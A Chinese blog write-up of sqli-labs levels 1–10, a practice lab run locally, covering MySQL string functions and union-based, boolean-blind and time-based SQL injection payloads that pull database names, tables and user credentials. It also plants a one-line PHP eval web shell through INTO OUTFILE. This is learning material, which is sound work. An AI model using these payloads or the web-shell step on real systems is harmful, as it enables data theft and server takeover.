sqli-lab(1-10)及函数扩充

最新推荐文章于 2023-04-10 16:09:30 发布
最新推荐文章于 2023-04-10 16:09:30 发布
阅读量909 收藏 1
点赞数 1
分类专栏： sql-lab 文章标签： sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Reme_mber/article/details/121708283
版权

文章目录

常用函数扩充

下面部分函数之前已扩充，点击此处查看
在此继续扩充一些需要用到的函数
1、left()函数
解释：left（a，b）从左侧截取a的前b位，正确则返回1，错误则返回0
示例如下
代码：left(database(),1)=’s’
结果如下
在这里插入图片描述2、regexp函数
解释：user的结果是root（我的账号为root），regexp为匹配root的正则表达式（正则表达式讲解链接：https://www.runoob.com/regexp/regexp-intro.html）
示例如下
代码：select user() regexp 'r';
结果如下
在这里插入图片描述
3、like函数
解释：选取user表中以ro开头的字段，如果存在则为1，不存在则为0（like函数讲解链接：https://www.runoob.com/sql/sql-like.html）
示例如下
代码：select user()like 'ro%';
结果如下
在这里插入图片描述
代码：select user()like 't%';
结果如下
在这里插入图片描述
4、substr函数
解释：substr（a，b，c）从位置b开始，截取a字符串c位长度
示例如下
代码：select substr((select database()),1,2)='se';
结果如下
在这里插入图片描述
5、ASCII函数
解释：select ascii(‘x’) 将x转换成对应的数字（x为你输入的字符）
示例如下
示例1
代码：select ascii('z');
结果如下
在这里插入图片描述
示例2
代码：Select ascii(substr((select database()),1,1));s
结果如下
在这里插入图片描述
6、chr和ord函数
解释：使用python中的两个函数可以判断当前的ASCII码是多少（在powershall中输入iPython运行下列函数）
示例如下
代码：

chr(115) 
Ord(‘s’)

结果如下
在这里插入图片描述
7、if函数
解释：判断语句是否正确，如果正确，就输出x，否则就输出y
示例如下
代码: select if(1=0,'y','n');
结果如下
在这里插入图片描述
套娃模式：
示例如下
代码： select if(ascii(substr((select database()),1,1)) >10,'true','false');
结果如下
在这里插入图片描述
8、Into outfile（写入文件）
格式：Select ‘内容’ into outfile ‘文件名’;
示例如下
代码：select 'crow' into outfile '1.txt';
结果如下
在这里插入图片描述
此时存入的地址为"D:\phpStudy\PHPTutorial\MySQL\data\1.txt"
在这里插入图片描述
如果想指定创建文件的位置，则需要在文件名前加入地址
示例如下
代码：

Select 'waxxhzsh' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-6\\test.txt';

结果
在这里插入图片描述
此时文件位置位于D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-6\test.txt’
在这里插入图片描述
注意：\t时会被mysql转义，无法正确执行，所以需要用双反斜号
9、load_file();(读取本地文件)
示例：

 select  load_file('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-6\\test.txt');

结果
在这里插入图片描述
10、group_concat()
解释：group_concat函数返回一个字符串结果，该结果由分组中的值连接组合而成。简单的说，就是将得到的结果结合到一起再输出
示例如下
代码：select group_concat('security','test');
结果如下
在这里插入图片描述
11、concat_ws
格式：concat_ws(‘分隔符’,‘内容1’，‘内容2’)
解释：内容1和内容2中间以自己设置的间隔符来分开
具体讲解链接：https://www.yiibai.com/sql/sql-concat_ws-function.html
示例如下
代码：select concat_ws(’,’,‘a’,‘b’,‘c’);
结果如下
在这里插入图片描述

sql-lab1-4

先打开php文件，添加如下语句，此可以使网站有sql语句的回显

echo $sql;
echo '<br>';

添加位置如下
在这里插入图片描述
查看第一关
在这里插入图片描述
先输入id=1，发现回显中id是以单引号包含的，所以我们为了注入后使语句仍能正常执行，在id=1后加上单引号进行闭合，在加上注释符（- -+）注释后面语句即可

获取字段数

代码：http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' order by 3 --+
在这里插入图片描述
代码：http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' order by 4 --+
在这里插入图片描述
字段数为4时产生报错，说明字段数为3

获取数据库名

代码：http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name)from information_schema.schemata --+
在这里插入图片描述

获取表名

代码：http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在这里插入图片描述
##获取字段名
代码：http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
在这里插入图片描述

获取字段信息

代码：http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',id,username,password)) from security.users--+
在这里插入图片描述
查看第二关
先输入id=1
在这里插入图片描述
发现id闭合方式不需要用单引号等，因此就直接输入id=1 后面加上语句来判断字段数等，步骤同第一关相一致，这里不再重复，有意者请自行尝试

查看第三关
先输入id=1
在这里插入图片描述
发现id闭合方式为’)，因此我们在进行注入时在id后加上’)即可，1-3关步骤除闭合方式外，几乎没有什么不同，所以有意者按照第一关自行尝试即可。

查看第四关
先输入id=1
在这里插入图片描述
发现id闭合方式为")，因此我们若想要成功注入语句，在id后加上")即可，其他步骤与第一关一致

sql-lab 5-6

知识引入：

布尔盲注定义：
页面没有显示位，没有输出SQL语句执行错误信息，只能通过页面返回正常不正常来判断是否存在注入。

查看第五关
先输入id=1
在这里插入图片描述
发现闭合方式为’，要想注入成功，需要在id后加上’，此时你再输入id=2，会发现结果依然如此
在这里插入图片描述
我们已知字段数为3，当输入 id =1000，我们发现回显消失，没有报错信息，此即证明其为布尔型注入
因为这里正确时只会输出you are in ，所以联合查询在这里并不适用，我们可以用left等函数来进行猜解

获取字段数

代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' order by 3--+在这里插入图片描述
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' order by 4--+
在这里插入图片描述
字段数为3时有回显，4时报不存在，说明字段数为3

获取数据库名

代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+
在这里插入图片描述
法一：使用burpsuite来进行暴力破解
操作如下：
打开burpsuite，刷新sql-lab界面
此时burpsuite出现数据
在这里插入图片描述
全部发送至爆破模块
在这里插入图片描述
此时界面为
在这里插入图片描述
首先我们点击clear，清除一些值，clear位于最右方，如下图所示在这里插入图片描述
然后我们将a作为一个变量，操作是选择a并点击add
在这里插入图片描述
然后点击payloads，选择种类为暴力破解
在这里插入图片描述
我们的数据库名为字母，所以将数字删去
在这里插入图片描述
我们设置的数字为数据库第一个字母，所以将最小位和最大位都设置为1
在这里插入图片描述
此时点击options，选择线程为30
在这里插入图片描述
点击最右方的开始攻击
在这里插入图片描述
输出为
在这里插入图片描述
我们发现只有s为994，其他都为1010，我们查看它的响应
在这里插入图片描述
发现有you are in ，说明数据库第一个字母为s
此时我们推第二位字母，将1改为2，在变量a前加上s
在这里插入图片描述
其他步骤与此相同
在这里插入图片描述
推出第二个字母为e
以此类推
中间我不再重复，下面是最后一位
在这里插入图片描述
由此可知，数据库名为security（我们需要提前用布尔盲注猜出数据库名有几位字母）
猜解数据库位数
示例如下
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and length(database())=2--+
在这里插入图片描述
此时无回显，说明不正确，直到长度为8时才有回显，说明数据库长度为8
在这里插入图片描述
方法二：利用二分法进行猜解（二分法：取较大值和较小值，然后逐渐缩小范围）
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>200--+
解读：select database（）表示当前数据库
substr((select database()),1,1)表示从数据库名的第一位开始截取一个字段
ascii(substr((select database()),1,1))表示将数据库的第一个字母转换成ASCII码
结果如下
在这里插入图片描述
此时说明第一个字母ASCII码小于200，盲猜其大于50
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>50--+
结果
在这里插入图片描述
说明ASCII码大于50，猜解其大于150
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+

结果在这里插入图片描述

在这里插入图片描述
无回显，说明小于150，此时猜解大于100
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+
在这里插入图片描述
有回显，说明大于100，此时猜解大于125
在这里插入图片描述无回显，说明小于125，猜解其大于110
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>110--+
在这里插入图片描述

有回显，说明大于110，猜解其大于115
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>115--+
在这里插入图片描述
有回显，说明大于110，此时确定ASCII范围为110~115，猜解ASCII码为115
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))=115--+
在这里插入图片描述
猜出第一位字母ASCII码为115，根据ASCII码表可知为s
第二位与此类似，把代码中的第一个换成2继续猜解即可，以此类推，最终得到数据库名称为security

猜解表信息

利用burpsuite来猜解
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
解读：select table_name from information_schema.tables where table_schema='security’表示security数据库中的所有表。
limit 0,1表示从第一位开始取第一个表
substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)表示查取第一个表的第一位字母

操作：
刷新sql-lab界面，在burpsuite中得到数据
在这里插入图片描述
全选点击爆破
在这里插入图片描述
进入爆破模块，清除，并且将字母a变成变量
在这里插入图片描述
点击payloads，选择暴力破解
在这里插入图片描述

将数字删去并将最大值与最小值改为1
在这里插入图片描述

线程改为30
在这里插入图片描述
点击右方开始攻击
在这里插入图片描述
发现只有一个长度与其他不同，说明e为security数据库中第一个表的表名的第一个字母
在这里插入图片描述
猜解第二位字母
只需要讲代码中的最后一个1改成2，并在变量a前加上e即可
在这里插入图片描述
其他步骤与之前保持一致，可得到第二位为m
在这里插入图片描述
以此类推，最终可得到第一个表的表名为emails（需提前推出字段数）
方法二：利用二分法进行猜解，代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+
皆如此，相比于上面只是多了个取ascii码，步骤与猜解数据库类似，我不再进行示范

猜解字段名

代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='a'--+
方法一：
利用burpsuite破解
选择破解
在这里插入图片描述
先清除，再将字母a变成变量
在这里插入图片描述
选择暴力破解，将数字删去，将最大值与最小值改为1
在这里插入图片描述
线程改为30
在这里插入图片描述
得到结果
在这里插入图片描述
说明第一个字段的名称的第一位为u
第二位只需将代码中最后一个1改为2，在变量a前添加u即可
在这里插入图片描述
得到结果
在这里插入图片描述

以此类推，最终得到第一个字段名为username（需提前猜解字段数）
方法二是以二分法猜解
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>100--+
解释:select column_name from information_schema.columns where table_name=‘users’ 表示取出users表中全部字段
limit1,1 表示从第二位开始取一个字段名
(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)表示从第一位开始截取字段名，截取一位。
ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1))表示将第二个字段名的第一个字母转换成ascii码
猜解步骤与猜解数据库的二分法一致，不再重复

猜解字段信息

方法一：
用burpsuite进行暴力破解
代码http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and substr((select username from security.users limit 1,1),1,1)='c'--+
进入burpsuite界面
全选并点击爆破
在这里插入图片描述
清除变量并将a变成变量
在这里插入图片描述
选择暴力破解，将数字1-9删去，最大值和最小值变为1
在这里插入图片描述
进程改为30
在这里插入图片描述

开始攻击，得到结果
在这里插入图片描述
第一位为a，猜解第二位只需将代码中最后一个1改为2，在变量c前添加a即可
在这里插入图片描述
其他步骤与上面一致，最终得到结果
在这里插入图片描述
以此类推最终可得到字段信息
方法二：
利用二分法来进行判断
代码：http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>10--+
解释：
select username from security.users是指取出security数据库users表username字段中的全部信息。
limit1，1表示从第二信息开始取一位
substr((select username from security.users limit 1,1),1,1)表示从第一位开始截取字段信息，截取一位
ascii(substr((select username from security.users limit 1,1),1,1))表示将截取到的一位改成ascii码
步骤与上面猜解数据库相一致，这里不再重复
第五关完成！

查看第六关
先输入id=1
在这里插入图片描述

发现id闭合方式变为"闭合，这时我们在id后添加" 再输入其他语句即可，其他猜解过程与第五关一致，这里不再重复，有意者请自行尝试。

sql-lab7

查看第七关
输入id=1
在这里插入图片描述

发现id包裹方式为’))，所以我们想注入成功，在id后加上’))即可
代码：http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=1') union select 1,2,'<php @eval($_POST["crow"]);?>' into outfile "D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\x.php"--+
执行结果
在这里插入图片描述
查看指定文件夹，文件已经存在
在这里插入图片描述
访问
在这里插入图片描述
此时利用中国菜刀或者中国蚁剑，即可获取其本地文件
注意：
这里需要有权限才能够成功执行语句
Mysql刚安装时，一般都没有导入和导出的权限，可以用show variables like ‘%secure%’;语句来自行检查，由于我已经修改过，所以secure_file_priv处为d:\，初始的应该是null
在这里插入图片描述
初始值为null，我们则需要修改，到哪里修改呢，找到mysql文件夹，打开并找到my.ini文件，打开，添加secure_file_priv="/"即可，具体位置如图
在这里插入图片描述
此时重启mysql，即可发现你的已经不是null，安装在c盘则变成C:\，d盘则如上图所示

sql-lb 8-10

查看第八关
输入id=1
在这里插入图片描述
发现id包裹方式为’，因此想要成功注入语句只需要在id后加上’即可

判断字段数

代码：http://127.0.0.1:8080/sqli-labs-master/Less-6/?id=1 order by 3--+
在这里插入图片描述

代码:
在这里插入图片描述
说明字段数为3
数据库等猜解与第五关判断方式保持一致，这里我不再进行示范

查看第九关
输入id=1
在这里插入图片描述
id包裹方式为’，此时想注入成功需要在id后加上’

判断字段数

代码：http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1 order by 3--+
在这里插入图片描述
代码：http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1 order by 4--+
在这里插入图片描述
我们已知字段数为3，这里是4却正常回显，我们尝试输入一个大的数字
代码：http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1 order by 1000--+
在这里插入图片描述
说明无论输入什么，都会正常回显，此时不能用order by来检测
此时我们可以用延迟注入（时间盲注好像是官方名词，我只是小白，若有误各位请指正）

数据库猜解

代码：http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select database()),1,1)) > 100,1,sleep(5))--+
解释：
select database()表示当前数据库
substr((select database()),1,1)表示从第一位开始截取数据库，截取一位
if (ascii(substr((select database()),1,1)) > 100,1,sleep(5))表示如果截取的数据库名称的第一位字母的ascii码大于100，就输出1，否则沉睡5秒（这里不会输出1，只会正常回显，因此我们观看返回结果的时长即可知道语句是否正确）
在这里插入图片描述

此时观察返回时间即可判断语句是否执行正确
利用二分法，最终确定ascii值，从而确定字母

猜解表名

代码：http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 100,1,sleep(5))--+
在这里插入图片描述
此时如果正确则正常速度回显，如果错误则回显速度明显变慢，可以先将数值改为1000去检测语句有没有写错，其他猜解步骤同之前以二分法猜解的一致，不再重复

猜解字段名

代码：http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)) > 100,1,sleep(5))--+
解释：
select column_name from information_schema.columns where table_name=‘users’ 表示选出users表中所有字段
limit1,1表示从第二个字段开始，选取一个字段
substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)表示从字段名的第一位开始截取，截取一位
ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1))表示取出第一位的ascii码
if (ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)) > 100,1,sleep(5))表示如果ascii码大于100就输出1，否则沉睡五秒
在这里插入图片描述
下面的猜解步骤与此相同，这里不再进行示范

猜解字段信息

代码：http://127.0.0.1:8080/sqli-labs-master/Less-9/?id=1' and if (ascii( substr((select username from security.users limit 1,1),1,1)) > 100,1,sleep(5))--+
解释：
select username from security.users表示security数据库users表username字段中的所有信息
limit1,1指的是从第二位开始，选择第一个信息
substr((select username from security.users limit 1,1),1,1)表示从第一个信息的第一位开始截取，截取一位
ascii( substr((select username from security.users limit 1,1),1,1)) 表示将第一位转为ascii码
if (ascii( substr((select username from security.users limit 1,1),1,1)) > 100,1,sleep(5))表示如果ascii码大于100，就输出1，否则沉睡五秒
在这里插入图片描述
猜解过程其他依旧与上面保持一致，我不再重复

查看第十关
先输入id=1
在这里插入图片描述
发现没有给出包裹方式，我们这时候可以利用sleep函数来进行猜测
代码：http://127.0.0.1:8080/sqli-labs-master/Less-10/?id=1" and sleep(5)--+
在id=1后加 ‘或"或’)或’))或")等来猜解，最终发现"可以成功注入
在这里插入图片描述
说明id包裹方式为"，之后的猜解过程与第九关一致，这里不再重复

扩充一下大佬对id闭合的看法
在这里插入图片描述
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ( ( ′ sql="SELECT * FROM users WHERE id=((' sql="SELECT∗FROMusersWHEREid=((′id’)) LIMIT 0,1";
实际上是执行了这个语句
$id是你传入的参数
假如传的是admin，则为
SELECT * FROM users WHERE id=((‘admin’)) LIMIT 0,1";
在数据库中执行
你如果想注入
注入就是自己构造sql语句
要保证语句不出错，能执行
SELECT * FROM users WHERE id=((‘admin’))–+’)) LIMIT 0,1";
传入admin’))–+
'))把前面的符号闭合
–+把后面的代码注释掉
此时语句可以正常执行

本文结束，谢谢！
扩充：sql注入（个人博客版）

quan9i
关注
专栏目录
靶场——sqli-lab 1-4
ad12456的博客
04-11 1524
sqli_lab
sqli-lab 1-10关解析
Oranges.的博客
09-05 503
sqli-lab 1-10关题解
sqli-lab教程1-10
Brucye
03-24 393
sqli-lab教程1-10 Less1字符注入 https://blog.csdn.net/lq56789/article/details/115103588 Less2整型注入 https://blog.csdn.net/lq56789/article/details/115112259?spm=1001.2014.3001.5501 Less3字符注入 https://blog.csdn.net/lq56789/article/details/115113093?spm=1001.2014.3001
sqli-lab学习笔记（学习笔记）（1-10）
大方子
08-07 2742
经常会犯的错误： 1.在hackbar里面忘记用%23替代# 2.在用下一条语句的时候忘记更改limit的值导致结果显示不出来 3.双注入里面的语句忘记加()日志是我后来想到发的，前面几关也都基础简单的，giantbranch大佬写的挺好的很详细，我也是按他的一步步学习来的，然后在里面增加自己的知识点和内容，对他进行补充和说明 他的文章地址:http://blog.csdn.net/u012
sql的学习sqli-lab1-10
zbbjya的博客
04-02 452
show database; 查看显示mysql里面所有的数据表
sqli-lab通关txt
07-22
在这个sqli-lab通关txt文件中，我们预计会找到一系列关于SQL注入攻击的实战教程，主要涵盖了从基础到进阶的10个不同阶段的练习。 SQL注入通常发生在Web应用中，当用户输入的数据没有被正确地过滤或转义，导致这些...
phpstudy+靶场sqli-labs-master下载
最新发布
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
第三节 Sqli-lab环境搭建-01
09-15
Sqli-lab环境搭建-01 在本节中，我们将讨论如何搭建Sqli-lab环境，包括安装PhpStudy环境、火狐浏览器插件、Sqlmap和Sqli-Lab等工具。这些工具将帮助我们学习SQL注入漏洞检测和利用。 PhpStudy环境安装 PhpStudy是...
SQLi-Lab:每个SQL注入实验室
03-29
SQLi-Lab是一个专门用于学习和练习SQL注入技术的平台，对于理解和防范这种攻击非常有帮助。 在"SQLi-Lab:每个SQL注入实验室"中，你可以期待以下的知识点： 1. **SQL注入基础**：了解SQL注入的基本原理，包括如何...
sqli-lab操作详解
07-12
本篇文章将详细讲解SQL注入漏洞以及如何在`sqli-lab`这个实践环境中进行操作。 一、SQL注入的理解 SQL注入的基本原理是利用程序对用户输入数据的不当处理，使得恶意SQL代码能够与服务器上的数据库交互。当Web应用未...
Sqli Lab(1)
Keo的博客
01-17 153
搭建环境用的是phpstudy，跟着readme一步步安装，在reset的时候注意php版本 因为php7不支持mysql_函数，统统改用mysqli所以记得在phpstudy中间切换版本
sqli-labs level1
qq_43436666的博客
07-31 202
环境准备：* 1.1、安装phpstudy软件，网址如下，安装后如下图1.1 https://www.xp.cn/ 1.2、下载sqli-lab的压缩文件包，压缩后放在phpstudy的www文件夹内（若不知道路径的可以在phpstudy下的网站一栏中选择，则可以看到文件的绝对路径） 1.3、打开网站，按照首页提示初始化靶场（这里注意在phpstudy中将php版本号调至php5左右，网站->管理->php版本） 1.4、安装完成后，即可使用sqli-lab靶场了 2.level1..
sqli-lab1到4关详解
cangyu51462的博客
04-12 443
sqli-lab 1-4
sqli-lab 1-16通关随笔记
m0_52361291的博客
06-08 318
前段时间大概学了一遍内网，免杀正好来将web这块重新复习一遍 由于是直接刷关所以只是让关卡报出注入点其余的都没搞。首先明确SQL注入产生的原理是传递结构化语言时影响了数据库的执行叫做SQL注入。这些关卡都是统一的get型注入而且都是通过联合查询的 代码中通过mysql_query()和mysql_fetch_array()这两个函数先执行查询语句然后再将同一行的数据以数组形式输出，调用数据库列名称来呈现查询结果而mysql_error()这个函数的作用是输出mysql数据库报错的信息这也是做联合查询时的一个
sqli-lab刷题Less-15 一些有趣的发现，关于burpsuite
MichealCurry1的博客
10-09 191
sqli-lab刷题Less-15 一些有趣的发现，关于burpsuite sqli-lab的Less-15使用的是post方法提交的表单，因此参数不可见，这种情况下有两种方法查看参数的提交 1.查看网页源代码 右击网页，点击view source，可以查看网页源代码 在这里可以看到两个input标签中各有name='uname',name='passwd'，因此参数的提交方式为uname=1&passwd=1 2.使用burp suite 先设置浏览器的代理，在火狐浏览器中点击设置
SQL 盲注方法总结
junmin_lay的博客
08-14 2364
文章目录1，布尔盲注---构造逻辑判断①left(database(),1)②ascii(substr())=n③2，报错盲注①concat()floor(x)rand()②使用exp进行SQL报错注入③bigint溢出注入④xpath函数报错注入 1，布尔盲注—构造逻辑判断 ①left(database(),1) ②ascii(substr())=n ③ 2，报错盲注 基于报错的SQL盲注---...
Sqli-lab教程-史上最全详解（1-22通关）
qq_52364123的博客
04-10 9854
sql注入集合
mysql下SQL注入截取字符串常用函数mid(),substr(),left()
yusakul的博客
11-24 7670
在sql注入中，往往会用到截取字符串的问题，例如不回显的情况下进行的注入，也成为盲注，这种情况下往往需要一个一个字符的去猜解，过程中需要用到截取字符串 mid函数 此函数为截取字符串一部分。MID(column_name,start[,length]) 参数 描述 column_name 必需。要提取字符的字段。 start 必需。规定开始位置（起始值是 1）。 le...
sql-lab靶场讲解
CN天狼
12-16 6810
sql-lab讲解
sqli-lab安装
09-05
要安装sqli-lab，您需要按照以下步骤进行操作： 1. 首先，确保您具有Web服务器环境。您可以使用Apache、Nginx或其他适合您的环境的Web服务器。 2. 下载sqli-lab的代码。您可以从GitHub存储库中获取它，链接：...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值